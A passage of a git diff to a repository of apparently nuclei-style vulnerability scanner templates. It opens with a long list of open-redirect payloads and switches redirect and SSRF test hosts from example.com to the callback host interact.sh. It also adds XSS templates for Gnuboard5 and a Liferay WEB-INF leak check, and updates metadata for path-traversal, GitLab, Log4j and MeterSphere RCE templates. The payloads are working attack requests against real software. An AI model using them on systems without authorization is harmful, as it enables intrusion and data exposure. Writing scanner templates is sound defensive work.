- '/<>//example.com' - - '/\/\/example.com/' - - '/\/example.com' - - '/\example.com' - - '/example.com' - - '/example.com/%2F..' - - '/example.com/' - - '/example.com/..;/css' - - '/https:example.com' - - '/{{RootURL}}example.com/' - - '/ใ€ฑexample.com' - - '/ใ€ตexample.com' - - '/ใ‚example.com' - - '/ใƒผexample.com' - - '/๏ฝฐexample.com' - - '<>//example.com' - - '@example.com' - - '@https://example.com' - - '\/\/example.com/' - - 'example%E3%80%82com' - - 'example.com' - - 'example.com/' - - 'example.com//' - - 'example.com;@' - - 'https%3a%2f%2fexample.com%2f' - - 'https:%0a%0dexample.com' - - 'https://%0a%0dexample.com' - - 'https://%09/example.com' - - 'https://%2f%2f.example.com/' - - 'https://%3F.example.com/' - - 'https://%5c%5c.example.com/' - - 'https://%5cexample.com@' - - 'https://%23.example.com/' - - 'https://.example.com' - - 'https://////example.com' - - 'https:///example.com' - - 'https:///example.com/%2e%2e' - - 'https:///example.com/%2f%2e%2e' - - 'https:///example.com@example.com/%2e%2e' - - 'https:///example.com@example.com/%2f%2e%2e' - - 'https://:80#@example.com/' - - 'https://:80?@example.com/' - - 'https://:@\@example.com' - - 'https://:@example.com\@example.com' - - 'https://:@example.com\@WillBeReplaced.com' - - 'https://;@example.com' - - 'https://\texample.com/' - - 'https://example.com/example.com' - - 'https://example.com/https://example.com/' - - 'https://www.\.example.com' - - 'https:/\/\example.com' - - 'https:/\example.com' - - 'https:/example.com' - - 'https:example.com' - - '{{RootURL}}example.com' - - 'ใ€ฑexample.com' - - 'ใ€ตexample.com' - - 'ใ‚example.com' - - 'ใƒผexample.com' - - '๏ฝฐexample.com' - - '?page=example.com&_url=example.com&callback=example.com&checkout_url=example.com&content=example.com&continue=example.com&continueTo=example.com&counturl=example.com&data=example.com&dest=example.com&dest_url=example.com&dir=example.com&document=example.com&domain=example.com&done=example.com&download=example.com&feed=example.com&file=example.com&host=example.com&html=example.com&http=example.com&https=example.com&image=example.com&image_src=example.com&image_url=example.com&imageurl=example.com&include=example.com&langTo=example.com&media=example.com&navigation=example.com&next=example.com&open=example.com&out=example.com&page=example.com&page_url=example.com&pageurl=example.com&path=example.com&picture=example.com&port=example.com&proxy=example.com&redir=example.com&redirect=example.com&redirectUri=example.com&redirectUrl=example.com&reference=example.com&referrer=example.com&req=example.com&request=example.com&retUrl=example.com&return=example.com&returnTo=example.com&return_path=example.com&return_to=example.com&rurl=example.com&show=example.com&site=example.com&source=example.com&src=example.com&target=example.com&to=example.com&uri=example.com&url=example.com&val=example.com&validate=example.com&view=example.com&window=example.com&redirect_to=example.com&ret=example.com&r2=example.com&img=example.com&u=example.com&r=example.com&URL=example.com&AuthState=example.com' + - '%0a/interact.sh/' + - '%0d/interact.sh/' + - '%00/interact.sh/' + - '%09/interact.sh/' + - '%5C%5Cinteract.sh/%252e%252e%252f' + - '%5Cinteract.sh' + - '%5cinteract.sh/%2f%2e%2e' + - '%5c{{RootURL}}interact.sh/%2f%2e%2e' + - '../interact.sh' + - '.interact.sh' + - '/%5cinteract.sh' + - '////\;@interact.sh' + - '////interact.sh' + - '///interact.sh' + - '///interact.sh/%2f%2e%2e' + - '///interact.sh@//' + - '///{{RootURL}}interact.sh/%2f%2e%2e' + - '//;@interact.sh' + - '//\/interact.sh/' + - '//\@interact.sh' + - '//\interact.sh' + - '//\tinteract.sh/' + - '//interact.sh/%2F..' + - '//interact.sh//' + - '//%69%6e%74%65%72%61%63%74%2e%73%68' + - '//interact.sh@//' + - '//interact.sh\tinteract.sh/' + - '//https://interact.sh@//' + - '/<>//interact.sh' + - '/\/\/interact.sh/' + - '/\/interact.sh' + - '/\interact.sh' + - '/interact.sh' + - '/interact.sh/%2F..' + - '/interact.sh/' + - '/interact.sh/..;/css' + - '/https:interact.sh' + - '/{{RootURL}}interact.sh/' + - '/ใ€ฑinteract.sh' + - '/ใ€ตinteract.sh' + - '/ใ‚interact.sh' + - '/ใƒผinteract.sh' + - '/๏ฝฐinteract.sh' + - '<>//interact.sh' + - '@interact.sh' + - '@https://interact.sh' + - '\/\/interact.sh/' + - 'interact%E3%80%82sh' + - 'interact.sh' + - 'interact.sh/' + - 'interact.sh//' + - 'interact.sh;@' + - 'https%3a%2f%2finteract.sh%2f' + - 'https:%0a%0dinteract.sh' + - 'https://%0a%0dinteract.sh' + - 'https://%09/interact.sh' + - 'https://%2f%2f.interact.sh/' + - 'https://%3F.interact.sh/' + - 'https://%5c%5c.interact.sh/' + - 'https://%5cinteract.sh@' + - 'https://%23.interact.sh/' + - 'https://.interact.sh' + - 'https://////interact.sh' + - 'https:///interact.sh' + - 'https:///interact.sh/%2e%2e' + - 'https:///interact.sh/%2f%2e%2e' + - 'https:///interact.sh@interact.sh/%2e%2e' + - 'https:///interact.sh@interact.sh/%2f%2e%2e' + - 'https://:80#@interact.sh/' + - 'https://:80?@interact.sh/' + - 'https://:@\@interact.sh' + - 'https://:@interact.sh\@interact.sh' + - 'https://:@interact.sh\@WillBeReplaced.com' + - 'https://;@interact.sh' + - 'https://\tinteract.sh/' + - 'https://interact.sh/interact.sh' + - 'https://interact.sh/https://interact.sh/' + - 'https://www.\.interact.sh' + - 'https:/\/\interact.sh' + - 'https:/\interact.sh' + - 'https:/interact.sh' + - 'https:interact.sh' + - '{{RootURL}}interact.sh' + - 'ใ€ฑinteract.sh' + - 'ใ€ตinteract.sh' + - 'ใ‚interact.sh' + - 'ใƒผinteract.sh' + - '๏ฝฐinteract.sh' + - '?page=interact.sh&_url=interact.sh&callback=interact.sh&checkout_url=interact.sh&content=interact.sh&continue=interact.sh&continueTo=interact.sh&counturl=interact.sh&data=interact.sh&dest=interact.sh&dest_url=interact.sh&dir=interact.sh&document=interact.sh&domain=interact.sh&done=interact.sh&download=interact.sh&feed=interact.sh&file=interact.sh&host=interact.sh&html=interact.sh&http=interact.sh&https=interact.sh&image=interact.sh&image_src=interact.sh&image_url=interact.sh&imageurl=interact.sh&include=interact.sh&langTo=interact.sh&media=interact.sh&navigation=interact.sh&next=interact.sh&open=interact.sh&out=interact.sh&page=interact.sh&page_url=interact.sh&pageurl=interact.sh&path=interact.sh&picture=interact.sh&port=interact.sh&proxy=interact.sh&redir=interact.sh&redirect=interact.sh&redirectUri=interact.sh&redirectUrl=interact.sh&reference=interact.sh&referrer=interact.sh&req=interact.sh&request=interact.sh&retUrl=interact.sh&return=interact.sh&returnTo=interact.sh&return_path=interact.sh&return_to=interact.sh&rurl=interact.sh&show=interact.sh&site=interact.sh&source=interact.sh&src=interact.sh&target=interact.sh&to=interact.sh&uri=interact.sh&url=interact.sh&val=interact.sh&validate=interact.sh&view=interact.sh&window=interact.sh&redirect_to=interact.sh&ret=interact.sh&r2=interact.sh&img=interact.sh&u=interact.sh&r=interact.sh&URL=interact.sh&AuthState=interact.sh' stop-at-first-match: true matchers-condition: and @@ -111,7 +112,7 @@ requests: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - type: status status: @@ -119,4 +120,4 @@ requests: - 302 - 307 - 308 - condition: or \ No newline at end of file + condition: or diff --git a/vulnerabilities/generic/xmlrpc-pingback-ssrf.yaml b/vulnerabilities/generic/xmlrpc-pingback-ssrf.yaml index 7d42755be4..e0c92c8f0c 100644 --- a/vulnerabilities/generic/xmlrpc-pingback-ssrf.yaml +++ b/vulnerabilities/generic/xmlrpc-pingback-ssrf.yaml @@ -6,7 +6,7 @@ info: severity: high reference: - https://hackerone.com/reports/406387 - tags: ssrf,generic,xmlrpc + tags: xmlrpc,hackerone,ssrf,generic requests: - raw: diff --git a/vulnerabilities/gitlab/gitlab-rce.yaml b/vulnerabilities/gitlab/gitlab-rce.yaml index dade1377d0..115c90af63 100644 --- a/vulnerabilities/gitlab/gitlab-rce.yaml +++ b/vulnerabilities/gitlab/gitlab-rce.yaml @@ -4,21 +4,20 @@ info: name: GitLab CE/EE Unauthenticated RCE Using ExifTool author: pdteam severity: critical - description: GitLab CE/EE contains a vulnreability which allows a specially crafted image passed to a file parser to perform a command execution attack. Versions impacted are between 11.9-13.8.7, 13.9-13.9.5, and - 13.10-13.10.2. + description: GitLab CE/EE contains a vulnreability which allows a specially crafted image passed to a file parser to perform a command execution attack. Versions impacted are between 11.9-13.8.7, 13.9-13.9.5, and 13.10-13.10.2. reference: - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/ - https://hackerone.com/reports/1154542 - https://nvd.nist.gov/vuln/detail/CVE-2021-22205 + remediation: Upgrade to versions 13.10.3, 13.9.6, 13.8.8, or higher. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 + cvss-score: 10 cve-id: CVE-2021-22205 cwe-id: CWE-20 - remediation: Upgrade to versions 13.10.3, 13.9.6, 13.8.8, or higher. metadata: shodan-query: http.title:"GitLab" - tags: cve,cve2021,gitlab,rce,oast,intrusive + tags: oast,intrusive,hackerone,cve,cve2021,gitlab,rce,kev requests: - raw: diff --git a/vulnerabilities/other/gnuboard-sms-xss.yaml b/vulnerabilities/gnuboard/gnuboard-sms-xss.yaml similarity index 93% rename from vulnerabilities/other/gnuboard-sms-xss.yaml rename to vulnerabilities/gnuboard/gnuboard-sms-xss.yaml index 155dea7f7d..ac13726778 100644 --- a/vulnerabilities/other/gnuboard-sms-xss.yaml +++ b/vulnerabilities/gnuboard/gnuboard-sms-xss.yaml @@ -1,7 +1,7 @@ id: gnuboard-sms-xss info: - name: Gnuboard CMS - SMS Emoticon XSS + name: Gnuboard CMS - SMS Emoticon Cross-Site Scripting author: gy741 severity: medium description: A vulnerability in Gnuboard CMS allows remote attackers to inject arbitrary Javascript into the responses returned by the server. diff --git a/vulnerabilities/gnuboard/gnuboard5-rxss.yaml b/vulnerabilities/gnuboard/gnuboard5-rxss.yaml new file mode 100644 index 0000000000..383d3f0720 --- /dev/null +++ b/vulnerabilities/gnuboard/gnuboard5-rxss.yaml @@ -0,0 +1,34 @@ +id: gnuboard5-rxss + +info: + name: Gnuboard5 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Gnuboard 5 is vulnerable to reflected XSS via $_GET['LGD_OID']. + reference: + - https://huntr.dev/bounties/ed317cde-9bd1-429e-b6d3-547e72534dd5/ + metadata: + verified: true + shodan-query: http.html:"gnuboard5" + tags: gnuboard,xss,huntr + +requests: + - method: GET + path: + - "{{BaseURL}}/mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + words: + - 'LGD_OID = ' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/gnuboard/gnuboard5-xss.yaml b/vulnerabilities/gnuboard/gnuboard5-xss.yaml new file mode 100644 index 0000000000..7d6a45de35 --- /dev/null +++ b/vulnerabilities/gnuboard/gnuboard5-xss.yaml @@ -0,0 +1,34 @@ +id: gnuboard5-xss + +info: + name: Gnuboard5 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Gnuboard 5 is vulnerable to reflected XSS to a flaw in the clean_xss_tags() function called in new.php. + reference: + - https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/ + metadata: + verified: true + shodan-query: http.html:"gnuboard5" + tags: xss,gnuboard,gnuboard5,huntr + +requests: + - method: GET + path: + - "{{BaseURL}}/bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + words: + - 'header\">.css?' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/grafana/grafana-file-read.yaml b/vulnerabilities/grafana/grafana-file-read.yaml index 0a66fcb668..baea119cc1 100644 --- a/vulnerabilities/grafana/grafana-file-read.yaml +++ b/vulnerabilities/grafana/grafana-file-read.yaml @@ -1,14 +1,23 @@ id: grafana-file-read info: - name: Grafana v8.x Arbitrary File Read + name: Grafana 8.x - Local File Inclusion author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0 severity: high + description: Grafana 8.x is vulnerable to local file inclusion. reference: + - https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/ - https://nosec.org/home/detail/4914.html - https://github.com/jas502n/Grafana-VulnTips - - hhttps://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p + - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p - https://twitter.com/naglinagli/status/1468155313182416899 + - https://nvd.nist.gov/vuln/detail/CVE-2021-43798 + metadata: + shodan-query: title:"Grafana" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: grafana,lfi,fuzz requests: @@ -30,4 +39,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/httpbin/httpbin-open-redirect.yaml b/vulnerabilities/httpbin/httpbin-open-redirect.yaml index 08aff96109..961d4ae06f 100644 --- a/vulnerabilities/httpbin/httpbin-open-redirect.yaml +++ b/vulnerabilities/httpbin/httpbin-open-redirect.yaml @@ -15,13 +15,13 @@ info: requests: - method: GET path: - - "{{BaseURL}}/redirect-to?url=https%3A%2F%2Fexample.com" + - "{{BaseURL}}/redirect-to?url=https%3A%2F%2Finteract.sh" matchers-condition: and matchers: - type: dsl dsl: - - 'location == "https://example.com"' + - 'location == "https://interact.sh"' - type: status status: diff --git a/vulnerabilities/httpbin/httpbin-xss.yaml b/vulnerabilities/httpbin/httpbin-xss.yaml index e384b8cb83..7282471d26 100644 --- a/vulnerabilities/httpbin/httpbin-xss.yaml +++ b/vulnerabilities/httpbin/httpbin-xss.yaml @@ -1,7 +1,7 @@ id: httpbin-xss info: - name: HTTPBin - Cross Site Scripting + name: HTTPBin - Cross-Site Scripting author: Adam Crosser severity: medium reference: diff --git a/vulnerabilities/huawei/huawei-hg255s-lfi.yaml b/vulnerabilities/huawei/huawei-hg255s-lfi.yaml index 71a0d509f3..d9454324b6 100644 --- a/vulnerabilities/huawei/huawei-hg255s-lfi.yaml +++ b/vulnerabilities/huawei/huawei-hg255s-lfi.yaml @@ -1,12 +1,17 @@ id: huawei-hg255s-lfi info: - name: Huawei HG255s - Directory Traversal + name: Huawei HG255s - Local File Inclusion author: 0x_Akoko severity: high + description: Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication. reference: - https://cxsecurity.com/issue/WLB-2017090053 - https://www.youtube.com/watch?v=n02toTFkLOU + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: shodan-query: http.html:"HG532e" tags: huawei,lfi,router @@ -25,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/ibm/eclipse-help-system-xss.yaml b/vulnerabilities/ibm/eclipse-help-system-xss.yaml index 86194399fa..4581fcf647 100644 --- a/vulnerabilities/ibm/eclipse-help-system-xss.yaml +++ b/vulnerabilities/ibm/eclipse-help-system-xss.yaml @@ -1,7 +1,7 @@ id: eclipse-help-system-xss info: - name: Eclipse Help System RXSS vulnerability + name: Eclipse Help System Cross-Site Scripting author: pikpikcu severity: medium tags: ibm,xss @@ -22,4 +22,4 @@ requests: - type: word words: - "text/html" - part: header \ No newline at end of file + part: header diff --git a/vulnerabilities/ibm/ibm-infoprint-lfi.yaml b/vulnerabilities/ibm/ibm-infoprint-lfi.yaml index 899fad8ae8..eea7046472 100644 --- a/vulnerabilities/ibm/ibm-infoprint-lfi.yaml +++ b/vulnerabilities/ibm/ibm-infoprint-lfi.yaml @@ -1,13 +1,17 @@ id: ibm-infoprint-lfi info: - name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal + name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Local File Inclusion author: harshbothra_ - severity: medium - description: Directory traversal vulnerability on IBM InfoPrint 4247-Z03 Impact Matrix Printer. + severity: high + description: IBM InfoPrint 4247-Z03 Impact Matrix Printer is subject to local file inclusion. reference: - https://www.exploit-db.com/exploits/47835 - tags: ibm,lfi,matrix,printer + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: matrix,printer,edb,ibm,lfi requests: - method: GET @@ -22,3 +26,5 @@ requests: regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/ibm/ibm-websphere-ssrf.yaml b/vulnerabilities/ibm/ibm-websphere-ssrf.yaml deleted file mode 100644 index 777b9a5e06..0000000000 --- a/vulnerabilities/ibm/ibm-websphere-ssrf.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: ibm-websphere-ssrf - -info: - name: IBM WebSphere Portal SSRF - author: pdteam - severity: high - reference: - - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ - tags: ibm,ssrf,websphere - -requests: - - method: GET - path: - - '{{BaseURL}}/docpicker/internal_proxy/http/example.com' - - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/example.com' - - redirects: true - max-redirects: 2 - stop-at-first-match: true - matchers-condition: and - matchers: - - - type: status - status: - - 200 - - - type: word - words: - - "Example Domain" \ No newline at end of file diff --git a/vulnerabilities/j2ee/liferay-resource-leak.yaml b/vulnerabilities/j2ee/liferay-resource-leak.yaml new file mode 100644 index 0000000000..54b172ba94 --- /dev/null +++ b/vulnerabilities/j2ee/liferay-resource-leak.yaml @@ -0,0 +1,38 @@ +id: liferay-resource-leak + +info: + name: Liferay - Resource leakage through I18nServlet + author: DhiyaneshDk + severity: high + description: | + I18n Servlet leaks information by sending an HTTP request to /[language]/[resource];.js (also .jsp works). + remediation: Update Liferay to the latest version + reference: + - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java + metadata: + verified: true + shodan-query: title:"Liferay" + tags: liferay,lfi,j2ee + +requests: + - method: GET + path: + - "{{BaseURL}}/en/WEB-INF/web.xml;.js" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - " in file" - - type: status - status: - - 500 - - type: word part: header words: - "text/html" + + - type: status + status: + - 500 diff --git a/vulnerabilities/linkerd/linkerd-ssrf.yaml b/vulnerabilities/linkerd/linkerd-ssrf.yaml index ec72073405..23f52c1e15 100644 --- a/vulnerabilities/linkerd/linkerd-ssrf.yaml +++ b/vulnerabilities/linkerd/linkerd-ssrf.yaml @@ -13,7 +13,7 @@ requests: path: - "{{BaseURL}}" headers: - l5d-dtab: /svc/* => /$/inet/example.com/443 + l5d-dtab: /svc/* => /$/inet/interact.sh/443 matchers-condition: or matchers: diff --git a/vulnerabilities/magento/magento-2-exposed-api.yaml b/vulnerabilities/magento/magento-2-exposed-api.yaml index 57e53632c6..ddf8e7633a 100644 --- a/vulnerabilities/magento/magento-2-exposed-api.yaml +++ b/vulnerabilities/magento/magento-2-exposed-api.yaml @@ -7,6 +7,8 @@ info: description: The API in Magento 2 can be accessed by the world without providing credentials. Through the API information like storefront, (hidden) products including prices are exposed. reference: - https://support.hypernode.com/en/ecommerce/magento-2/how-to-protect-the-magento-2-api + metadata: + shodan-query: http.component:"Magento" tags: magento requests: diff --git a/vulnerabilities/magento/magento-cacheleak.yaml b/vulnerabilities/magento/magento-cacheleak.yaml index f33789b6ce..6b43d14bf6 100644 --- a/vulnerabilities/magento/magento-cacheleak.yaml +++ b/vulnerabilities/magento/magento-cacheleak.yaml @@ -11,6 +11,9 @@ info: - https://support.hypernode.com/en/best-practices/security/how-to-secure-magento-cacheleak - https://www.acunetix.com/vulnerabilities/web/magento-cacheleak/ - https://royduineveld.nl/magento-cacheleak-exploit/ + metadata: + verified: true + shodan-query: http.component:"Magento" tags: magento requests: diff --git a/vulnerabilities/magento/magento-unprotected-dev-files.yaml b/vulnerabilities/magento/magento-unprotected-dev-files.yaml index 9551d09981..d535d224b9 100644 --- a/vulnerabilities/magento/magento-unprotected-dev-files.yaml +++ b/vulnerabilities/magento/magento-unprotected-dev-files.yaml @@ -8,6 +8,9 @@ info: Magento, "these tests are not supposed to end up on production servers". reference: - https://support.hypernode.com/en/support/solutions/articles/48001153348-how-to-secure-your-data-using-encryption-and-hashing + metadata: + verified: true + shodan-query: http.component:"Magento" tags: magento requests: diff --git a/vulnerabilities/metersphere/metersphere-plugin-rce.yaml b/vulnerabilities/metersphere/metersphere-plugin-rce.yaml index 86ff474427..ea61e7f7c0 100644 --- a/vulnerabilities/metersphere/metersphere-plugin-rce.yaml +++ b/vulnerabilities/metersphere/metersphere-plugin-rce.yaml @@ -1,12 +1,18 @@ id: metersphere-plugin-rce info: - name: MeterSphere Plugin Pre-auth RCE + name: MeterSphere - Remote Code Execution author: pdteam,y4er severity: critical + description: | + MeterSphere is susceptible to remote code execution. reference: - https://y4er.com/post/metersphere-plugincontroller-pre-auth-rce/ - https://github.com/metersphere/metersphere + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: metersphere,rce,intrusive requests: @@ -40,6 +46,7 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - '"data":' - '"success":true' @@ -56,4 +63,6 @@ requests: extractors: - type: regex regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" \ No newline at end of file + - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" + +# Enhanced by mp on 2022/05/26 diff --git a/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml b/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml index 5b1e366207..e9d17adb85 100644 --- a/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml +++ b/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml @@ -3,18 +3,24 @@ id: mobileiron-log4j-jndi-rce info: name: Ivanti MobileIron Log4J JNDI RCE author: meme-lord - severity: high - description: Ivanti MobileIron Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker - who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. + severity: critical + description: Ivanti MobileIron Apache Log4j2 <=2.14.1 JNDI in features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. reference: - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://www.zdnet.com/article/mobileiron-customers-urged-to-patch-systems-due-to-potential-log4j-exploitation/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 - classification: - cve-id: CVE-2021-44228 + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 remediation: Upgrade to version 2.14.2 or higher of MobileIron. If this is not possible, several Log4j exploit workarounds are available. - tags: jndi,log4j,rce,cve,cve2021 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10 + cve-id: CVE-2021-44228 + cwe-id: CWE-917 + metadata: + shodan-query: http.html:"MobileIron" + verified: "true" + tags: jndi,log4j,rce,cve,cve2021,ivanti,oast,mobileiron,kev requests: - raw: diff --git a/vulnerabilities/moodle/moodle-filter-jmol-lfi.yaml b/vulnerabilities/moodle/moodle-filter-jmol-lfi.yaml index 26c79550c9..97d602bd2f 100644 --- a/vulnerabilities/moodle/moodle-filter-jmol-lfi.yaml +++ b/vulnerabilities/moodle/moodle-filter-jmol-lfi.yaml @@ -1,11 +1,17 @@ id: moodle-filter-jmol-lfi info: - name: Moodle filter_jmol - LFI + name: Moodle Jmol Filter 6.1 - Local File Inclusion author: madrobot severity: high - description: Local file inclusion on Moodle. - tags: moodle,lfi + description: Moodle is vulnerable to local file inclusion. + reference: + - https://www.exploit-db.com/exploits/46881 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:F/RL:W/RC:C + cvss-score: 7.5 + cwe-id: CWE-22 + tags: moodle,lfi,edb requests: - method: GET @@ -20,3 +26,5 @@ requests: regex: - "root:.*:0:0:" part: body + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/netsweeper/netsweeper-open-redirect.yaml b/vulnerabilities/netsweeper/netsweeper-open-redirect.yaml index 290e17322f..3a642b46b5 100644 --- a/vulnerabilities/netsweeper/netsweeper-open-redirect.yaml +++ b/vulnerabilities/netsweeper/netsweeper-open-redirect.yaml @@ -7,15 +7,15 @@ info: description: Netsweeper version 4.0.9 was vulnerable to an Unauthenticated and Authenticated Open Redirect vulnerability. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - tags: netsweeper,redirect + tags: netsweeper,redirect,packetstorm requests: - method: GET path: - - "{{BaseURL}}/webadmin/authportal/bounce.php?url=https://example.com/" + - "{{BaseURL}}/webadmin/authportal/bounce.php?url=https://interact.sh/" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' diff --git a/vulnerabilities/netsweeper/netsweeper-rxss.yaml b/vulnerabilities/netsweeper/netsweeper-rxss.yaml index 18892a3101..8b85901e9f 100644 --- a/vulnerabilities/netsweeper/netsweeper-rxss.yaml +++ b/vulnerabilities/netsweeper/netsweeper-rxss.yaml @@ -6,7 +6,7 @@ info: severity: medium reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - tags: netsweeper,xss + tags: xss,packetstorm,netsweeper requests: - method: GET diff --git a/vulnerabilities/oracle/oracle-ebs-bispgraph-file-access.yaml b/vulnerabilities/oracle/oracle-ebs-bispgraph-file-access.yaml index 42aa25e801..4d06200f40 100644 --- a/vulnerabilities/oracle/oracle-ebs-bispgraph-file-access.yaml +++ b/vulnerabilities/oracle/oracle-ebs-bispgraph-file-access.yaml @@ -1,12 +1,13 @@ id: oracle-ebs-bispgrapgh-file-read info: - name: Oracle EBS Bispgraph File Access + name: Oracle eBusiness Suite - Improper File Access author: emenalf,tirtha_mandal,thomas_from_offensity severity: critical + description: | + Oracle eBusiness Suite is susceptible to improper file access vulnerabilities via bispgrapgh. Be aware this product is no longer supported with patches or security fixes. reference: - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf - - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf - http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf tags: oracle,lfi @@ -18,6 +19,8 @@ requests: matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body + +# Enhanced by mp on 2022/05/26 diff --git a/vulnerabilities/oracle/oracle-siebel-xss.yaml b/vulnerabilities/oracle/oracle-siebel-xss.yaml index 161b89486b..223a835592 100644 --- a/vulnerabilities/oracle/oracle-siebel-xss.yaml +++ b/vulnerabilities/oracle/oracle-siebel-xss.yaml @@ -14,7 +14,7 @@ info: cvss-score: 7.2 cwe-id: CWE-79 remediation: Upgrade to Siebel Loyalty version 8.2 or later. - tags: xss,oracle,siebel + tags: xss,oracle,siebel,packetstorm,edb requests: - method: GET diff --git a/vulnerabilities/oscommerce/oscommerce-rce.yaml b/vulnerabilities/oscommerce/oscommerce-rce.yaml index 8e7f717257..4875f89f35 100644 --- a/vulnerabilities/oscommerce/oscommerce-rce.yaml +++ b/vulnerabilities/oscommerce/oscommerce-rce.yaml @@ -8,7 +8,7 @@ info: command's executed output reference: - https://www.exploit-db.com/exploits/50128 - tags: rce,oscommerce + tags: rce,oscommerce,edb requests: - raw: diff --git a/vulnerabilities/other/3cx-management-console.yaml b/vulnerabilities/other/3cx-management-console.yaml index 389cf88761..dc248947bd 100644 --- a/vulnerabilities/other/3cx-management-console.yaml +++ b/vulnerabilities/other/3cx-management-console.yaml @@ -1,12 +1,16 @@ id: 3cx-management-console info: - name: 3CX Management Console - Directory Traversal + name: 3CX Management Console - Local File Inclusion author: random-robbie severity: high - description: Directory traversal vulnerability on 3CX Management Console. + description: 3CX Management Console is vulnerable to local file inclusion. reference: - https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: shoda-query: http.title:"3CX Phone System Management Console" tags: 3cx,lfi,voip @@ -33,3 +37,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/74cms-sqli.yaml b/vulnerabilities/other/74cms-sqli.yaml new file mode 100644 index 0000000000..e11f83d391 